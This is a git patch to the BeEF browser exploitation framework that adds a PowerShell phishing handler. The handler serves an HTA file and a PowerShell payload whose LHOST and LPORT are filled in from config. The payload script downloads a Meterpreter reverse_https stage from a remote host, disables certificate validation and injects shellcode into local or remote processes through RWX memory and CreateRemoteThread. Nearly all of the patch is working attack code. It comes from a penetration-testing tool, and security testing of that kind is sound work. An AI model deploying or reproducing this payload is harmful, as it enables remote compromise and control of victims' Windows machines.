From bc56be0a7f0a312907ee79ff61f5af6caa6342fd Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 8 Sep 2014 14:07:09 +0200 Subject: [PATCH] Added a generic handler for powershell-related attacks. --- extensions/social_engineering/config.yaml | 5 + extensions/social_engineering/extension.rb | 34 +- .../powershell/bind_powershell.rb | 61 +++ .../powershell/powershell_payload | 486 ++++++++++++++++++ 4 files changed, 571 insertions(+), 15 deletions(-) create mode 100644 extensions/social_engineering/powershell/bind_powershell.rb create mode 100644 extensions/social_engineering/powershell/powershell_payload diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index 9fd88dcbb..8e1c1586a 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -46,3 +46,8 @@ beef: cid8: "corner-bl.png" cid9: "corner-br.png" cid10: "bottom-border.png" + powershell: + # the default payload being used is windows/meterpreter/reverse_https + msf_reverse_handler_host: "127.0.0.1" + msf_reverse_handler_port: "443" + powershell_handler_url: "/ps" \ No newline at end of file diff --git a/extensions/social_engineering/extension.rb b/extensions/social_engineering/extension.rb index 45d7dd9cf..e2ada83f7 100644 --- a/extensions/social_engineering/extension.rb +++ b/extensions/social_engineering/extension.rb @@ -4,30 +4,34 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension + module Extension - module RegisterSEngHandler - def self.mount_handler(server) - server.mount('/api/seng', BeEF::Extension::SocialEngineering::SEngRest.new) + module RegisterSEngHandler + def self.mount_handler(server) + server.mount('/api/seng', BeEF::Extension::SocialEngineering::SEngRest.new) + + ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url') + server.mount("#{ps_url}", BeEF::Extension::SocialEngineering::Bind_powershell.new) + end + end + + module SocialEngineering + extend BeEF::API::Extension + + @short_name = 'social_engineering' + @full_name = 'Social Engineering' + @description = 'Phishing attacks for your pleasure: web page cloner (POST interceptor and BeEF goodness), highly configurable mass mailer, powershell-related attacks, etc.' + + BeEF::API::Registrar.instance.register(BeEF::Extension::RegisterSEngHandler, BeEF::API::Server, 'mount_handler') end end - - module SocialEngineering - extend BeEF::API::Extension - - @short_name = 'social_engineering' - @full_name = 'Social Engineering' - @description = 'Phishing attacks for your pleasure: web page cloner (POST interceptor and BeEF goodness), highly configurable mass mailer, etc.' - - BeEF::API::Registrar.instance.register(BeEF::Extension::RegisterSEngHandler, BeEF::API::Server, 'mount_handler') - end -end end # Handlers require 'extensions/social_engineering/web_cloner/web_cloner' require 'extensions/social_engineering/web_cloner/interceptor' require 'extensions/social_engineering/mass_mailer/mass_mailer' +require 'extensions/social_engineering/powershell/bind_powershell' # Models require 'extensions/social_engineering/models/web_cloner' diff --git a/extensions/social_engineering/powershell/bind_powershell.rb b/extensions/social_engineering/powershell/bind_powershell.rb new file mode 100644 index 000000000..cf3bde2a9 --- /dev/null +++ b/extensions/social_engineering/powershell/bind_powershell.rb @@ -0,0 +1,61 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF + module Extension + module SocialEngineering + + # + # NOTE: the powershell_payload is work/copyright from @mattifestation (kudos for that) + # NOTE: the visual-basic macro code inside the Microsoft Office Word/Excel documents is work/copyright from @enigma0x3 (kudos for that) + # + # If you use the powershell payload for Office documents, make sure you edit the macro inside the sample documents in this directory: + # change the payload URL with your BeEF server and powershell URL settings. By default powershell will be served from: + # http://beef_server:beef_port/ps/ps.png + # + # NOTE: make sure you change the 'host' variable in the main BeEF config.yaml from 0.0.0.0 to the specific IP where BeEF is binded to. + class Bind_powershell < BeEF::Core::Router::Router + before do + headers 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0' + end + + # serves the HTML Application (HTA) + get '/hta' do + response['Content-Type'] = "application/hta" + + host = BeEF::Core::Configuration.instance.get('beef.http.host') + port = BeEF::Core::Configuration.instance.get('beef.http.port') + ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url') + payload_url = "http://#{host}:#{port}#{ps_url}/ps.png" + + print_info "Serving HTA. Powershell payload will be retrieved from: #{payload_url}" + "" + end + + # serves the powershell payload after modifying LHOST/LPORT + # The payload gets served via HTTP by default. Serving it via HTTPS it's still a TODO + get '/ps.png' do + response['Content-Type'] = "text/plain" + + @ps_lhost = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_host') + @ps_port = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_port') + + ps_payload_path = "#{$root_dir}/extensions/social_engineering/powershell/powershell_payload" + + ps_payload = '' + if File.exist?(ps_payload_path) + ps_payload = File.read(ps_payload_path).gsub("___LHOST___", @ps_lhost).gsub("___LPORT___", @ps_port) + end + ps_payload + end + end + end + end +end \ No newline at end of file diff --git a/extensions/social_engineering/powershell/powershell_payload b/extensions/social_engineering/powershell/powershell_payload new file mode 100644 index 000000000..ffc046231 --- /dev/null +++ b/extensions/social_engineering/powershell/powershell_payload @@ -0,0 +1,486 @@ +function Invoke-ps +{ + +[CmdletBinding( DefaultParameterSetName = 'Metasploit', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( + [ValidateNotNullOrEmpty()] + [UInt16] + $ProcessID, + + [Parameter( ParameterSetName = 'Metasploit' )] + + $Payload = 'windows/meterpreter/reverse_https', + [String] + $Lhost = '___LHOST___', + $UserAgent = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', + [Int] + $Lport = ___LPORT___, + + [Switch] + $Force = $True + +) + + Set-StrictMode -Version 2.0 + + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + function Local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload + function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) + { + $IntSizePtr = $Architecture / 8 + + function Local:ConvertTo-LittleEndian ([IntPtr] $Address) + { + $LittleEndianByteArray = New-Object Byte[](0) + $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } } + [System.Array]::Reverse($LittleEndianByteArray) + + Write-Output $LittleEndianByteArray + } + + $CallStub = New-Object Byte[](0) + + if ($IntSizePtr -eq 8) + { + [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode + $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode + $CallStub += 0xFF,0xD0 # CALL RAX + $CallStub += 0x6A,0x00 # PUSH BYTE 0 + $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread + $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread + $CallStub += 0xFF,0xD0 # CALL RAX + } + else + { + [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode + $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode + $CallStub += 0xFF,0xD0 # CALL EAX + $CallStub += 0x6A,0x00 # PUSH BYTE 0 + $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread + $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread + $CallStub += 0xFF,0xD0 # CALL EAX + } + + Write-Output $CallStub + } + + function Local:Inject-RemoteShellcode ([Int] $ProcessID) + { + # Open a handle to the process you want to inject into + $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) + + if (!$hProcess) + { + Throw "Unable to open a process handle for PID: $ProcessID" + } + + $IsWow64 = $false + + if ($64bitCPU) # Only perform theses checks if CPU is 64-bit + { + # Determine is the process specified is 32 or 64 bit + $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null + + if ((!$IsWow64) -and $PowerShell32bit) + { + Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.' + } + elseif ($IsWow64) # 32-bit Wow64 process + { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Injecting into a Wow64 process.' + Write-Verbose 'Using 32-bit shellcode.' + } + else # 64-bit process + { + if ($Shellcode64.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode64 variable!' + } + + $Shellcode = $Shellcode64 + Write-Verbose 'Using 64-bit shellcode.' + } + } + else # 32-bit CPU + { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Using 32-bit shellcode.' + } + + # Reserve and commit enough memory in remote process to hold the shellcode + $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + + if (!$RemoteMemAddr) + { + Throw "Unable to allocate shellcode memory in PID: $ProcessID" + } + + Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" + + # Copy shellcode into the previously allocated memory + $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null + + # Get address of ExitThread function + $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread + + if ($IsWow64) + { + # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread. + $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32 + + Write-Verbose 'Emitting 32-bit assembly call stub.' + } + else + { + # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread. + $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64 + + Write-Verbose 'Emitting 64-bit assembly call stub.' + } + + # Allocate inline assembly stub + $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX) + + if (!$RemoteStubAddr) + { + Throw "Unable to allocate thread call stub memory in PID: $ProcessID" + } + + Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))" + + # Write 32-bit assembly stub to remote process memory space + $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null + + # Execute shellcode as a remote thread + $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) + + if (!$ThreadHandle) + { + Throw "Unable to launch remote thread in PID: $ProcessID" + } + + # Close process handle + $CloseHandle.Invoke($hProcess) | Out-Null + + Write-Verbose 'Shellcode injection complete!' + } + + function Local:Inject-LocalShellcode + { + if ($PowerShell32bit) { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + return + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Using 32-bit shellcode.' + } + else + { + if ($Shellcode64.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode64 variable!' + return + } + + $Shellcode = $Shellcode64 + Write-Verbose 'Using 64-bit shellcode.' + } + + # Allocate RWX memory for the shellcode + $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + if (!$BaseAddress) + { + Throw "Unable to allocate shellcode memory in PID: $ProcessID" + } + + Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))" + + # Copy shellcode to RWX buffer + [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) + + # Get address of ExitThread function + $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread + + if ($PowerShell32bit) + { + $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 + + Write-Verbose 'Emitting 32-bit assembly call stub.' + } + else + { + $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 + + Write-Verbose 'Emitting 64-bit assembly call stub.' + } + + # Allocate RWX memory for the thread call stub + $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + if (!$CallStubAddress) + { + Throw "Unable to allocate thread call stub." + } + + Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))" + + # Copy call stub to RWX buffer + [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length) + + # Launch shellcode in it's own thread + $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero) + if (!$ThreadHandle) + { + Throw "Unable to launch thread." + } + + # Wait for shellcode thread to terminate + $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null + + $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) + $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) + + Write-Verbose 'Shellcode injection complete!' + } + + # A valid pointer to IsWow64Process will be returned if CPU is 64-bit + $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process + if ($IsWow64ProcessAddr) + { + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + + $64bitCPU = $true + } + else + { + $64bitCPU = $false + } + + if ([IntPtr]::Size -eq 4) + { + $PowerShell32bit = $true + } + else + { + $PowerShell32bit = $false + } + + if ($PsCmdlet.ParameterSetName -eq 'Metasploit') + { + if (!$PowerShell32bit) { + # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell + # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function + + # Pull out just the content of the this script's invocation. + $RootInvocation = $MyInvocation.Line + + $Response = $True + + if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?", + "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { } + + if ( !$Response ) + { + # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function + Return + } + + # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt. + if ($MyInvocation.BoundParameters['Force']) + { + Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation" + $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n" + } + else + { + Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force" + $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n" + } + + $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command) + $EncodedCommand = [Convert]::ToBase64String($CommandBytes) + + $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -" + Invoke-Expression -Command $Execute | Out-Null + + # Exit the script since the shellcode will be running from x86 PowerShell + Return + } + + $Response = $True + + if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?", + "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { } + + if ( !$Response ) + { + # User opted not to carry out download of Metasploit payload. Exit function + Return + } + + switch ($Payload) + { + 'windows/meterpreter/reverse_http' + { + $SSL = '' + } + + 'windows/meterpreter/reverse_https' + { + $SSL = 's' + # Accept invalid certificates + [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } + } + } + + # Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh? + $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" + Write-Verbose "Requesting meterpreter payload from $Request" + + $Uri = New-Object Uri($Request) + $WebClient = New-Object System.Net.WebClient + $WebClient.Headers.Add('user-agent', "$UserAgent") + + try + { + [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri) + } + catch + { + Throw "$($Error[0].Exception.InnerException.InnerException.Message)" + } + [Byte[]] $Shellcode64 = $Shellcode32 + + } + elseif ($PSBoundParameters['Shellcode']) + { + # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets + # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. + [Byte[]] $Shellcode32 = $Shellcode + [Byte[]] $Shellcode64 = $Shellcode32 + } + + if ( $PSBoundParameters['ProcessID'] ) + { + # Inject shellcode into the specified process ID + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle + $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) + + Write-Verbose "Injecting shellcode into PID: $ProcessId" + + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', + "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ) + { + Inject-RemoteShellcode $ProcessId + } + } + else + { + # Inject shellcode into the currently running PowerShell process + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + + Write-Verbose "Injecting shellcode into PowerShell" + + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', + "Injecting shellcode into the running PowerShell process!" ) ) + { + Inject-LocalShellcode + } + } + +}